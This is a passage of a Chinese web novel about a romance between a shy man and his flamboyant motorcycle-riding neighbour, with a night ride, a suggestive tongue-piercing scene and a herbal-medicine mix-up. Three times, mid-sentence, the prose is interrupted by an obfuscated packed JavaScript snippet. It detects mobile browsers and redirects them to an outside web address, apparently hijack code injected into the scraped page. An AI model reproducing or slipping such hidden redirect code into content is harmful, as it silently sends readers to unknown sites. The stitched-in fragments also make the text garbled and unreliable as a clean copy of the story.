留守公司加班的闻爸爸也被叫回来,一家三口一起吃饭。 但相较于之前那么多次,今天餐桌上的氛围总有些凝固。 最后还是闻妈妈先开口:“今年夏天……你怎么发现自己是这个……同性恋的?” 闻根没说话。 闻妈妈就想到答案了:“你喜欢上一个男人了吗?” 闻根点头。 闻妈妈揉了揉眉心,和闻爸爸对视一眼。 两个人想到当年还那么年轻,和自己儿子截然不同自信张扬的侄子,牵着男人的人大张旗鼓告诉所有人,自己就是喜欢男人。在所有人还没有完全接受这个性向时,他就轰轰烈烈死于意外,从此成了全家所有人最遗憾的存在。 他的死当然不能归结于同性恋,但大家总会想,如果他普通一点,不那么骄傲张扬,不那么追求刺激,不是同性恋,是不是也会好好在学校上课,普普通通活到现在。 他们当父母的,也就只是希望孩子能平安健康开心安稳的长大,过一辈子。 不想闻根当并不普通的同性恋,但现在看闻根这么内疚,甚至想到要喝中药治疗,也并不觉得愉悦。 他们同时叹气,安抚:“没事的。” “但是两个多月前,你不是还告诉我们,你有一个喜欢的女生吗?” 原来在爸妈眼里,这件事也可以被称为没事? 他们并没我想象的那么抗拒。 闻根莫名想到这一点,觉得现在这个态度和之前对自己耳提面命要当个普通人的要求有些背道而驰。但很快听到下一句询问,脑子里就只剩阕开霁。 他告诉妈妈:“还是他……” “我以为他是女生,其实他是男的。” 闻妈妈莫名想到车库里那个带着蝴蝶项链的长发男人:“他不会……是个混血,长头发,还有辆机车吧?” 闻根:“他还有机车?” 他很快想到阕开霁之前volg里的画面。阕开霁确实有台机车,很炫酷的黑色,开起来时戴着头盔供起来的后背也很帅。于是他点头,又看着妈妈,后知后觉:“你见过他了?” 闻妈妈眼神复杂起来:“那他确实……” “但你们完全是两个世界的人,你确定他也是同性恋吗?而且你们……看上去真的完全不一样。” 闻妈妈实话实说:“如果你找个和你一样普通的男生,两个人一起好好过日子,我也能接受。但如果是他,我不是很赞成。” 35. 第 35 章 闻父闻母回去了,临走时妈妈还特地叮嘱闻根自己住要注意安全,以后再出差记得要把窗户关上。 闻根被妈妈那句不赞同砸得宛如一条死鱼,反应也慢。把爸妈都送到车库才想到,自己离开前把窗户关上了。 是今天阕开霁知道自己要回来,给自己通风透气才打开的。他还给自己拿了中药,帮自己打扫了卫生。 想到这儿他心里有种说不出的难受。 也不知道妈妈是什么时候见到阕开霁了,怎么没由来就说不赞成自己和阕开霁在一起。 闻根宁愿她不肯接受自己是同性恋的事,坚决反对一定要自己把同性恋治好,拒绝自己和所有男人在一起。也不想她一边说同性恋没事,一边说不赞同自己和阕开霁。 很没道理啊。 明明之前说希望自己是个普通人和普通女生结婚生个普通小孩的是他们,现在说变成同性恋没事的也是他们,但都这样了,干嘛又区别对待阕开霁。 他想不出答案,跟失去灵魂没有任何反应的死鱼一样,就站在车库里,愣愣失神。 也不知道过了多久,耳边听得机车发动机有点吵的轰鸣声。他顺着声音看过去,穿黑色机车服戴黑色头盔的男人俯身骑在黑色机车上,朝这边移动过来。黑色机车服贴在身上勾勒出身材曲线,配合着弓起的后背,像捕猎中的黑豹一样结实矫捷。 闻根现在对这个身材非常熟悉,哪怕只是这么看着,都好像有透视眼,能看到机车服下每一块肌肉的线条和形状。 阕开霁很快到了这里,一个压弯把车停在位置上。 他摘下头盔,一头棕色头发马上散下来,落在肩膀上。 阕开霁看愣愣站在车库里看着自己的闻根,先是深深看了一眼,注意到他胳膊上的蚊子包,这才没忍住笑了一下,问:“傻站在这里干什么?喂蚊子呢?” 闻根反应过来,摇头。 怎么几天没见,还这么呆。 阕开霁抬手把闻根的眼镜摘下来,看他仰头想看自己,但近视度数太高眼睛不聚焦,朦朦胧胧的很呆滞。但眼角那颗泪痣依旧灵巧可爱,坠在眼下柔软皮肤上。 他想摸一下,但先看到自己手上带着的机车手套。 闻根没注意到——也不知道是近视看不清还是注意力全在阕开霁脸上,根本看不到其他地方。 他只是呆呆看着阕开霁。 戴着眼镜时能看到阕开霁五官细节,比如带着棕色的眉毛,比如灰蓝色瞳孔,比如下睫毛的弧度。但现在没了眼镜一切都看不真切,他一眼看过去,只能看到流畅的面部轮廓、深邃立体的眉眼、白得如同画纸的皮肤、深棕色散下来的头发、还有殷红的嘴唇。大面积颜色分明色块带来浓浓的美色冲击,闻根发现他比照片上还要更好看。 自己也好像比想象中还要更想他。 死鱼咬着钩,也能感觉到湖水泛起的涟漪。 闻根想看得更真切些,就看阕开霁抬手,反手一扣,就把刚刚摘下来的头盔扣在他头上了。 视线被头盔遮挡,原本就不甚清晰,现在更模糊了一点。 闻根想把头盔摘下来,还没伸手先嗅到头盔上一股香香的味道,脑子乱乱的想了一会儿,发现这是阕开霁洗发水的味道。可能是戴了太久,沾上头发上的味道了。这么一想,就错过摘下头盔的时间。 阕开霁毫不犹豫,伸手在头盔上敲了下。 头盔里面柔软棉层隔绝大部分冲击,但闻根还是感觉到被敲击的声音和震动,他不再动,隔着头盔看阕开霁,问:“干嘛?” 阕开霁看着戴头盔的闻根,问:“想去兜风吗?” 隔着头盔,闻根听不真切,只看着阕开霁。 然后他也失去说不的权利,被阕开霁三两下戴好头盔,看阕开霁不知道从哪儿又摸出来个头盔带上,重新坐到摩托车上。 他站在车库里,穿着拖鞋和松垮居家的难看T恤短裤,看阕开霁戴着头盔穿着机车服,侧头点点机车后座,示意他坐上来。 闻根看看自己再看看后座。 他知道妈妈为什么不赞同自己和阕开霁在一起了。 妈妈看到阕开霁骑机车出去了,对妈妈来说,机车就是很危险,代表着超速飙车炸街,对自己的人身安全很不负责。自己是个普通人,普通人不会做这种事……就算自己当同性恋,也要找和自己一个普通的同性恋在一起,而不是和跟自己完全不一样的阕开霁。 闻根顺着后座看到阕开霁。 他坐了上去。 = 这还是闻根第一次坐摩托车后座。 具体来说,其实也是他第一次坐摩托车。 他有点紧张,试图拽着阕开霁的衣角,但机车服贴在身上,他一下没拽住。 有点紧张的在阕开霁腰间摸索着试图找点什么可以拽的地方,手就被阕开霁不耐烦抓过去,狠狠一拽,手被拉到阕开霁腰间放好,他整个人不受控制往前扑在阕开霁背上。 阕开霁:“抱着。” 隔着头盔,闻根其实只能听到模糊的音节,他还在分辨阕开霁说了什么,就看阕开霁启动机车,排气管发出噪声,机车开始往前。 他下意识往前贴得更紧,无所适从的另一只手也伸到前面,紧紧抱住阕开霁的腰。 机车起步很快,他还没适应就出了车库,外面的风迎面吹过来,撩开他的衣袖往衣服里面钻,闻根身上每一寸皮肤都在被风轻轻抚摸着,他好像变成了一棵树,被吹得每一片树叶都开始颤抖。 在市区控制速度慢慢跑,闻根很快适应这个速度,回过神来缓缓坐直,头盔下的眼睛开始注意周围的环境。 他这才发现,他们已经离开市区了。 也就是注意到这一点,他听到风声卷着阕开霁的声音,透过头盔传到他耳边:“抱紧,我要加速了。” 他大声回答:“已经很紧了。” 话音还没落,机车速度再次加快,如离弦的箭一般冲出去。耳畔风声凌冽,惯力和迎面而来的风让他觉得自己觉得自己整个人都要飞起来了,他只能更用力抱紧身前的阕开霁,顺着他弓起的脊背,紧紧贴合在一起,直到没有一丝缝隙。 身侧所有风景都被甩到身后,闻根什么都想不了,只趴在阕开霁肩膀上,透过头盔,模模糊糊看面前的一切。 整个世界都这么宽广。 他突然大叫一声。 声音被头盔一闷,很大声响在耳边,闻根又觉得自己有点奇怪,紧紧闭嘴,不自觉侧目想看阕开霁的反应,担心阕开霁觉得自己少见多怪。 但阕开霁的脸也隐在头盔下,根本看不清是什么表情。 他只听到阕开霁的声音:“大点声。” 闻根又大声喊了一声。 阕开霁没说话,但闻根感觉到手下对方腰部肌肉震颤。 像是在笑。 = 回去后已经十二点多了。 小区很安静,摩托车的声音有点大,闻根觉得自己好像飞得正欢的风筝,突然感觉到拽着自己的绳的牵引。被风吹没的理智回来一点,他问阕开霁:“会不会有人骂我们扰民?” 阕开霁:“……” 闻根总能用一些他很少主动想到的视角看问题,把他拽下来,脚踏实地的感受这个世界。 闻根以为他没听到,又大声问:“会不会有人骂我们扰民?大晚上骑摩托车。” 阕开霁:“你再大声一点,他就不只骂我们大晚上骑摩托车了。” “直接在物业群骂我们大晚上骑摩托车还鬼哭狼嚎。” 闻根抿紧嘴唇不说话了。 到了车库把摩托车停下,闻根先跳下来。 在车上坐了太久,又一直弓着身,跳下来时腿一软差点跪下去,勉强站直才发现自己腰和背也都开始酸了。 闻根缩着肩膀像个小虾米,用被风吹得很凉的手笨手笨脚把头盔摘下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716899|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前的一切还是模模糊糊,他还是担心,想看业主群里会不会有人骂楼下大半夜骑摩托车还鬼哭狼嚎的没素质扰民者,于是伸手找阕开霁要眼镜和手机。 阕开霁锁了车,把手机从口袋里拿出来给他。带着他进了电梯,上楼。 没有眼镜,闻根需要把手机贴得很近,几乎贴在眼皮子底下,才看得清屏幕。 屏幕的光打在他脸上,眼神呆滞,眼下的泪痣看上去生动极了。阕开霁暗地翻了个白眼,把眼镜也掏出来给他戴上。 闻根终于能看清一切。但视野好像又变成眼前被镜片透过才能清晰的一小片,刚刚的快乐和自由变得遥远,他有种说不出的难过和失落。 把手机拿到正常距离,飞快点到业主群。 没人骂扰民。 他这才松了口气,放下手机。 心头大石落地,身边阕开霁的存在感就不停升高。刚刚戴头盔的时候总能闻到头盔上阕开霁洗发水的味道,但现在阕开霁本人身上的味道却被风吹淡了,剩下很淡很淡,让闻根怀疑可能是从自己身上传来的机油燃烧的味道,还有股冷冷的、说不上什么,只会让闻根想到刚刚在郊区肆意前行,可以称为是自由的味道。 顺着自己刚刚搂着的窄腰一路往上,看到宽阔有力的肩膀、修长的脖颈,注意到阕开霁看着自己的灰蓝色眼睛。 闻根心虚收回视线,隔了一会儿,硬着头皮问:“你晚上吃饭了吗?” 阕开霁不阴不阳:“真会找话题。” 闻根一如既往没意识到阕开霁的阴阳,只是问:“吃了吗?” 电梯到了楼层,阕开霁走出去:“没。” 闻根跟着他走出去,问:“我给你做点吧。” 阕开霁没说话,走到自家门口,掏出钥匙打开房门,这才问闻根:“你吃了吗?” 闻根点头,还是说:“我给你做点东西吃?” 阕开霁笑了,深邃五官带来的压迫感和距离感消失,好像开到最盛的花朵。这么几天没见,闻根看呆了,根本移不开视线。 然后就看阕开霁对他吐出舌头。 依旧是殷红的舌头,上面一颗小小的银钉折射着走廊的灯光。 阕开霁开了门,房间里的灯没开,他就站在门口,好像蛊惑猎物进入自己危险神秘洞穴的海妖,下了鱼钩,就撩了把头发,好像很无奈的样子:“不吃了吧,打了舌钉吃饭不舒服。” 闻根登时有些心疼,觉得阕开霁都瘦了一大圈,怪不得刚刚在摩托车上搂着的腰这么细。 他更担心了:“那怎么办?很疼吗?” 阕开霁打开家里的灯,进了家门:“当然啊,嚼东西的时候舌头一动就疼。” 担忧又心疼的闻根被海妖迷惑心智,根本没犹豫就跟着走进去,还顺手关了门:“能摘吗?” “能。” 阕开霁坐在沙发上,微微偏头,头发垂下来,他就看着闻根越走越近,最后站在自己面前,隔着不到半米的距离,他问,“你给我摘吗?” 没等闻根说什么,他又把舌头伸出来。 闻根发现镶着舌钉的那一片确实要更红一点,沾了水光,湿润润。 闻根的舌头顿时不知道怎么放了,他站在原地,目光盯死在阕开霁舌头上,好一会儿攥紧手指,不知道告诉阕开霁还是告诉自己:“我……我去洗个手。” 阕开霁:“但现在就有点疼。” 闻根觉得自己的理智现在在郊区快速行驶过的公路上,在阕开霁舌头上那颗小银钉上,就不在自己脑子里。 他声音干哑:“那怎么办?” 灰蓝色眼睛扫过他泛着一圈圈涟漪的死鱼眼,又往下看着他的嘴唇。 阕开霁确定:“用舌头。” 闻根喉咙滚了滚,几乎要找不到自己舌头的存在。 偏偏这时候阕开霁又把舌头伸出来,目光在他嘴唇上点一下,又看他的眼睛,无声催促。 36. 第 36 章 闻根脑子一空,反应过来时自己已经俯下身,伸出舌头触上阕开霁的舌钉了。 舌钉也是热的,和阕开霁口腔的温度一样高,甚至让闻根觉得有点热。小小的舌钉很硬,舌尖抵上去后滑了一下,溜到阕开霁舌头上。舌头软滑湿润,交错在一起,快速擦过。 闻根好像听到阕开霁从喉咙里挤出来的低笑,又怀疑不过是自己的错觉。 他突然清醒过来,飞快退回来站直,把舌头收回来,咽了好几下才小声说:“我不会……” 阕开霁吐出舌头给他展示:“我咬住杆,你把上面这颗银球旋下来就好。” 看闻根好像还在犹豫的样子,他勾手,“快点。” 闻根又控制不住凑过来,脑子乱糟糟的只剩一件事。 把银钉旋下来。 他笨拙控制舌尖去挑银钉,但不管是舌头还是银球都湿漉漉的,最后也只是绕着打了个转,滑到阕开霁口腔里,感觉到阕开霁洒在自己脸上的呼吸。 怎么弄啊。 闻根有点走投无路越贴越近,把手放在阕开霁身后的沙发上,几乎把阕开霁困在自己手臂间,低下头再度尝试。 他贴得越来越近,感觉到自己因为长时间伸舌头开始分泌口水,舌头也越来越湿越来越无力。那颗小小的银钉还是稳固不动,看不出一点能旋下来的痕迹。 阕开霁的舌头越来越往后,他跟着那根舌头越来越近,直到嘴唇也完全贴在一起。 阕开霁吮吸着他的舌头。 闻根晕晕乎乎的脑子试图找回理智,觉得这几乎是在接吻。 但还没来得及抗议,阕开霁又引导着他的舌头放到银钉上。 闻根就又生出一点误会阕开霁的内疚来了。 阕开霁没想和自己接吻,只是想让自己帮忙摘钉子,是自己笨笨的,现在都没把钉子摘下来。 他接着用舌尖勾那颗钉子,又试图用牙齿辅助固定。 阕开霁推开他一点,告诉他:“疼。” 闻根什么都想不了,操控着酥麻无力的舌头,呐呐开口道歉:“对不起。” “不要用牙。” 闻根点头。这次没等阕开霁再伸舌头,他就俯身贴上阕开霁的嘴唇,把舌头伸进去。一点点刮去口腔的水湿,再把舌头放到阕开霁舌头上,东一下西一下旋着小小的舌钉。阕开霁配合得跟着挑着舌头,偶尔会引导性的把闻根走远的舌头挑回正常位置。 不知道因缺氧休息,又在休息好重振旗鼓重新来过多少次。终于,闻根在迷迷糊糊吮吸阕开霁舌头时,感觉有个小小的硬硬的东西滑到自己口腔里。 他还没反应过来,阕开霁就按着他的头更大力的吮吸他的舌头、嘴唇。闻根觉得自己缺氧残破的灵魂都要被吸走了,这时候,阕开霁松开了他。 眼镜早在不知道第几次时被摘下来放在一边,闻根眼睛湿漉漉的什么也看不清,视野里只有阕开霁格外红肿湿润的嘴唇,他吸了口气,俯下身又要亲。 阕开霁按了下他的肩膀制止他的动作。 隔着不足一掌的距离,闻根听到阕开霁的声音,好像隔了很远的距离,远远的告诉他:“好了。” 闻根有点没明白什么好了。 就看阕开霁又伸出舌尖。 一颗珠子和一根带珠子的杆躺在舌面上。 闻根后知后觉反应过来。 哦,摘下来了。 但他看着那根红得不成样子的舌头,身体好像有自己的意识,又往下探了探。 阕开霁放在他肩膀上的手没有任何阻力,任由他低下头,鼻梁触在一起,呼吸倾洒,只剩下最后一丝距离就能再次吻在一起。 闻根突然反应过来,眨了眨眼缓缓退开。 阕开霁有些失落的动了下眉尾,但总体表情还算得上不动声色,从桌上拿了个杯子把舌钉吐出来,客气和闻根道谢。 闻根脑子都成浆糊了,感觉着嘴唇几乎要烧起来的热度,烧坏主机的机器人一样,好一会儿才接受信息并给出反馈:“没关系。” 他甚至忘了自己一开始想干什么,无所适从站起来,一板一眼告诉阕开霁:“没事的话我先回去了。” 阕开霁看着他,大概有半分钟,朝他招手:“还有一件事。” 闻根:“什么?” 阕开霁拿出手机给他看设计图:“我弄了个这样的项圈。” 照片上是3D立体的设计模型,做得很逼真,闻根一眼就看出来做出来的成品大概会是什么样。 是两根手指那么粗的皮带,有闪蓝色的纹路,上面坠着大大小小的银色立体蝴蝶。除了这些……还有条细长的银链,从皮带上延伸出来,尽头是一颗蝴蝶钉子。 阕开霁告诉闻根:“这个钉子能当耳钉,也能当舌钉。” 闻根第一次知道自己想象力这么丰富,单是听到这句话脑海里马上就出来阕开霁带着项圈的样子——不管是当耳钉还是当舌钉,都会很漂亮。皮带圈在脖子上,随着每一次呼吸,蝴蝶翩翩欲飞。如果是舌钉,链条会一直延伸到嘴唇里,只要一伸出舌头就能看到那只小小的蝴蝶。 闻根目光闪烁了下。 但他还是想少了。 因为阕开霁比划了下,补充:“链接用的链子能拆,拆短到十五厘米吧。” “刚刚好到嘴唇,舌头收回去就疼,只能一直露在外面,话都说不出来,想怎么弄就怎么弄,不管是插舌头、手指,还是……” 阕开霁的目光在闻根身上一扫,在某处多停了半秒,“都可以。” 闻根觉得那个目光跟有实感一样抚摸过他,脑子也非常配合的想象出画面和感觉,身子很迅速的就有了反应。 阕开霁看着目光闪烁眼神恍惚的闻根,问:“你觉得怎么样?” 闻根怔怔点头,艰难试图隐藏自己的反应,声音干涩:“挺好的。” “那我就做几个出来玩玩。” 阕开霁大手一挥,“等弄出来了带给你测评一下。” 怎么测评? 用舌头、手指,还是…… 闻根呼吸困难,好一会儿才找回自己的声音:“好。” = 回家后洗澡躺在床上,但脑子乱乱的,一会儿是在阕开霁后座上呐喊时的痛快和自由,一会儿是在阕开霁家里舌头滑到舌钉时的触感,一会儿又变成阕开霁带着那个项链,舌头伸在外面说都说不出来任由自己为所欲为。 妈妈说的话完全被抛到一边,什么不是一个世界不赞同之类的话好像压根没听到过。闻根人还在这里,但灵魂早就贴在阕开霁身上,不知道飞到哪儿去了。 过了有一整个世纪那么长,他慢半拍反应过来。 自己跟着阕开霁到他家里不是给他摘舌钉,是想给他做饭的。 也不知道阕开霁现在吃了没有。 应该吃了吧,舌钉都摘下来了。 但万一没吃呢。 他家里又没什么存货,之前根本不开火,现在虽然会做疙瘩汤了,但万一不想做没吃呢。 闻根又担忧起来,并且一点控制不住自己的手,发消息给阕开霁:“忘了给你做饭了,你吃饭了吗?” 把消息发出去才发现现在已经四点多了。 他从来没有这么晚还不睡觉的情况。 结合时间再看看发给阕开霁的信息,他有点后悔了——这个点,再等两小时就能起来吃早饭了。说不定阕开霁这时候都已经睡了。 但他还是收到阕开霁的信息:“没。” 闻根斟酌着问:“那我现在去给你做?” “不用,你怎么现在还没睡。” 闻根:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716900|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>要怎么回答,告诉阕开霁因为自己还在想他吗? 他聪明了一点,没回答,而是反问阕开霁:“你怎么还没睡?” “来了点灵感,搞点新东西。” 阕开霁拍了张照片发过来,闻根看出来是设计软件,上面有个大致的形状,看起来像耳钉。 不过也可能是舌钉。 闻根不确定,他问:“舌钉吗?” 阕开霁:“乳钉。” 闻根:“……” 阕开霁有打……在那里的孔吗? 阕开霁:“多做几个尺寸,当舌钉也行。你喜欢?” 闻根:“……” 如果是在阕开霁身上,白皙结实的胸肌,唯二深色的两点打了孔带着漂亮带钻的乳钉……他的眼神又开始恍惚,询问阕开霁,“你带吗?” “不,我暂时还没有那个孔,不过你喜欢的话可以给你打。” 闻根低头看了看,不知道如何回复这句话。 他笨拙转移话题,“你要吃饭吗?” “不用,我又把舌钉戴上了。” 费这么大力气取下来的舌钉,怎么又带上了? 闻根问:“为什么?” “你说呢?说着给我做饭,刚把舌钉取下来就走了,既然没饭吃,我就又戴上了。” 闻根诚惶诚恐:“那我现在去给你做饭。” “取个舌钉一个多小时,不如直接等吃早饭。你睡吧。” 取舌钉花了一个多小时吗? 怪不得自己嘴唇现在这么肿。 闻根脸又开始热了,手指在屏幕上悬了好一会儿,打字:“那你提前把舌钉取下来?等会儿吃完饭再戴上。” “舌钉刚打没多久,取下来一小时洞就愈合带不上了。” 阕开霁又把那张带上后收不回舌头只能任人为所欲为的项圈设计图发过来,告诉闻根不能让舌钉愈合的原因,“我还想试试这个呢。” 闻根…… 闻根什么也没说,他有点怀疑自己其实也想试试这个,但脑子趋利避害,不让他深想这个原因代表了什么。 他只是沉默,看着阕开霁又发过来信息:“睡吧,明天早上找你吃饭。” “哦,还有喝中药,你放心,我这几天有一直在喝,今天也喝了送到你门口的新药方。” 今天送到自己门口的新药方? 不是……补肾的吗? 阕开霁都那么……再喝点补肾的,会有点…… 闻根根本控制不住自己的脑子,身上热度更高,缓缓打字:“那个药好像送错了。” 给闻根送药的阕开霁本人:“?” 闻根一五一十和盘托出:“晚上我妈今天来我家了,看到那些药以为我生病了,就问了自己的朋友,朋友说那些药……都是补肾。” 阕开霁:“……” 因为他就是让人家抓的补肾益气强心的药方。没想到还会有这么一茬,被闻根妈妈发现,还会看出来是补肾的药方了。 但他理应不知道。 于是他装作诧异的样子,问闻根:“我都喝了,现在怎么办?” 闻根也很担心 :“你没什么不舒服的反应吧?” “没不舒服。” 闻根还没松口气。 又看到阕开霁的新消息:“但有点反应。” 闻根:“……” 四下寂静无声 ,窗外安静得听不到一丝动静,房间里只剩下自己的呼吸。 闻根看着这条消息,做了个巨蠢无比的动作。 ——他缓缓打字询问:“那怎么办?” 阕开霁原本没什么,被闻根这句话弄得无语,笑了下,反而是有点反应不清不楚烧起来。 他懒洋洋打字:“还能怎么办。” “你给我解决一下?” 37.第 37 章 闻根连夜起床把祸害人的补肾中药重新包好装袋,不顾现在已经是半夜可能神医已经睡了,给对方发消息询问中药是不是寄错了。 发完消息后果然没收到回复,他抓心挠肝的等了会儿,没等到神医或阕开霁的任何信息,反倒是赶了一天路的疲惫涌上来,把自己等睡着了。 不出意外的,果然做梦了。 梦里他用一种诡异的上帝视角观看阕开霁的一天。 阕开霁早上起来健身,用水煮牛肉和蔬菜以及一些乱七八糟的维生素给自己做了个营养健康但非常难吃的早饭,然后打扮得很好看出去上班。中午吃过饭后提前下班回来,看到隔壁家门口放着的中药包——闻根这时候才意识到,这是今天自己出差结束回来时,阕开霁正在做的事情。 阕开霁把中药包捡起来,用闻根留给他的钥匙打开门,煮了包中药,然后把闻根家里的窗户打开,简单做了下家务。他压根也不会做,就是东一榔头西一榔头的把肉眼可见的灰尘擦了擦,喝了煮好的中药,把剩下的中药收好,就离开了。是和骑友的聚会,一起试了赛道,玩完后其他人去聚会喝酒,阕开霁先行离开。 可能因为这段时间没有任何依据纯靠闻根臆测,这些场景快速而模糊。 但之后,阕开霁在车库遇到自己,场景就变得清晰生动起来。 摩托车发生的声音、风扑在身上时的感觉,甚至和自己说话时的语气,仿佛都重新回到那时候,带闻根再次体验陌生的、蝴蝶的世界。 醒来后他的世界依旧一层不变平淡而无趣,昨晚那没有尽头的道路、一直往前感受着风的自由就好像只是他做了场梦,现在醒了就没了,只剩下一点余韵羽毛似的挠着他的心脏,让他痒痒的,更加渴望。 闻根有点说不出的寂寥,起床后想到昨天晚上阕开霁说今天早上来找自己吃饭,给阕开霁发信息询问他醒了没有早上想吃什么。阕开霁可能还没醒,并没有回复他,他也没有自作主张,默默点了个外卖填饱肚子。吃完饭打算煮中药的时候才想到神医把中药寄错了,给自己的是补肾的中药。而阕开霁还在不知道的情况下喝了,面对自己有没有不舒服的反应,给出了没不舒服但有反应的答案。 …… 梦醒后的寂寥一扫而空,大概是因为发现有了阕开霁之后,就连现实生活也变得多彩而不可预测起来。 他拿出手机,发现神医在早上七点多给自己发信息:“怎么了吗。” 闻根一五一十和盘托出。 神医没有回复。 闻根只能耐心等待。 一直到晚上五点多,他才又等到神医的回复:“这样啊,我是给你加了些补肾的药材。因为秋天气温降低,肾喜温,需要多加注意。” 中药世家继承人问:“之前的药都是清热去火抑制欲念的,现在换这个药,看看那些药有没有明显效果 ,怎么,你有什么不舒服吗?” 闻根半知半解,面对神医的询问,如实回答:“我没喝,邻居喝了。” 阕开霁刚睡醒,现在看着手机里闻根发过来的信息,想到昨天晚上的对话,气定神闲打字询问:“他有什么不舒服的反应吗?” ——没有不舒服,就是有点反应。 这两句话在脑子里不停盘旋,闻根觉得自己又被蝴蝶绚丽的翅膀迷惑了。他艰难打字回答:“没有。” 神医敲定:“没不舒服就好,你自己考虑要不要喝吧,主要是换个药看看你前段时间的治疗效果。” 治疗效果…… 闻根心虚:“我觉得效果可能不是那么好。” 可能不是那么好。 还可能……看起来并不是很确定啊。 阕开霁:“没关系,药物只是辅助,你自己坚定一定要戒就好。” 可自己坚定一定要戒吗? 闻根现在也不确定了。 不过面对帮助自己很多、听自己说了那么多豪言壮语的中药世家继承人,闻根没敢说自己现在不确定了,含糊:“嗯。” 还嗯。 阕开霁看着这条信息,想到闻根那双死鱼眼,心里冷笑。 没再回复,他放下手机起身去浴室洗澡,然后简单吃了些东西,去健身房。 闻根一直到晚上八点多才收到阕开霁的信息。 阕开霁:“醒了,刚看到消息。现在都八点了,吃早饭来不及了吧?” 闻根下午一点多醒来,吃完外卖后去附近超市采购下周的食材、把换季需要穿的衣服找出来。把夏天在阕开霁建议下新买的、版型好看设计典型、他喜欢阕开霁也觉得穿着好看的衣服收起来,秋季的衣服是他之前买的,被阕开霁评价为土但他习以为常的黑白灰。他的生活好像又回到了没有阕开霁的时候,普通而平凡,忙忙碌碌一成不变。一晃六个小时过去,他也觉得自己什么都没干,死鱼摇着尾巴随波逐流,感觉到时间如流水般冲刷着他。 但在收到阕开霁的信息后,时间这个概念都消失了,他感觉到周围的水草,感觉到身边小鱼,甚至就连空气好像都被蝴蝶的翅膀带动,让他感觉到微风。 死鱼喜气洋洋追逐着蝴蝶的轨迹,坚持要完成昨晚的承诺,闻根说:“来得及,我都做好了。” 阕开霁:“什么饭?” 闻根拍了张照片发过去。 他其实也不会做饭,都是些非常普通的家常菜。 芋艿小白菜、清蒸小黄鱼、蟹黄炖蛋、莴笋炒肉、干煸菜花。 闻根自知不会做饭味道可能不太好,于是难得注意摆盘,把菜品码得很好看,拍照时也格外注意美观。 而阕开霁看着照片里摆放整齐仿佛还冒着热气的菜品,打字:“开门。” = 闻根做饭就那样,跟疙瘩汤一样,跟着家里人学的,没什么固定的精确的分量,他都是酌情适量放,做出来也就是和家里一样的味道,他自己说不上好吃还是不好吃,就觉得是吃惯了很合胃口。 阕开霁一开始还装模作样说自己健身控碳,但看到闻根还在大米里面掺了些红米,米饭看上去红澄澄格外软香。他犹豫两秒。 闻根倒是没看出他的犹豫,只是有点单纯的感慨:“那我蒸多了,要浪费了 。” 阕开霁:“……” “给我盛一碗吧。” 看上去好像很为难为了不浪费才不得不吃,其实筷子一直没停。和闻根做的疙瘩汤一样,味道很将就,比不上在外面店里的好吃,但清清淡淡的,是阕开霁没吃过的味道。 吃饱喝足他帮着一起收拾了残局——昨天晚上说着要给阕开霁做饭吃,实际上光摘舌钉就花了一小时,舌钉摘下来自己什么都忘了也没给阕开霁做饭,今天吃个饭还让控碳的阕开霁吃了这么大一碗米饭,闻根内疚又心虚,再加上这么久以来对阕开霁的仰望,总觉得他这种人跟洗碗这种家务活格格不入,再三阻拦不让阕开霁多碰。 阕开霁顺从放了手,拿着手机跟在闻根身后,状似无意说:“对了,我昨天是不是还没给你分享日常?” 闻根想到自己做的梦,更加心虚,但实话实说:“没有。” 阕开霁:“给你发过去了。” 闻根无声加快收拾的速度,把碗碟放到洗碗机里,拿起手机打开。 阕开霁给他发了两个视频。 第一个就是日常vlog流水账,早起吃饭健身、去上班、下午打扫卫生——有张照片是推窗户通风透气,但闻根一眼就看到玻璃倒影里阕开霁肩宽腰窄胳膊长的身形。 而第二个视频里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721413|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阕开霁穿着日常健身的工字背心和灰色卫裤,不紧不慢并膝跪下来。卫裤布料柔软,随着下跪的动作贴在腿上,勾勒出修长结实的大腿肌肉线条。而后突然分开膝盖,画面一转,阕开霁穿着黑色西装,膝盖分开和肩膀那么宽的距离,微微仰头露出流畅的下颔线和喉结,对着镜头挺了下腰。 闻根的脸一下就红透了,眼睛依旧钉在屏幕上,片刻后意识到什么,猝然抬头看阕开霁,似乎想用这种方式来表明自己并没有看到移不开眼。 但镜片后面的眼睛都还带着震惊,一潭被突然落下小石子打破平静的死水,就连死水里常年没什么生机的死鱼也跟着波动。 阕开霁面不改色宣布:“哦对了,我会剪变装视频了,以后就不用麻烦你了,我会剪好直接给你看的。” 闻根木头般的脑子艰难运作,询问:“啊……那你不会发出去吧?” “你疯了?” 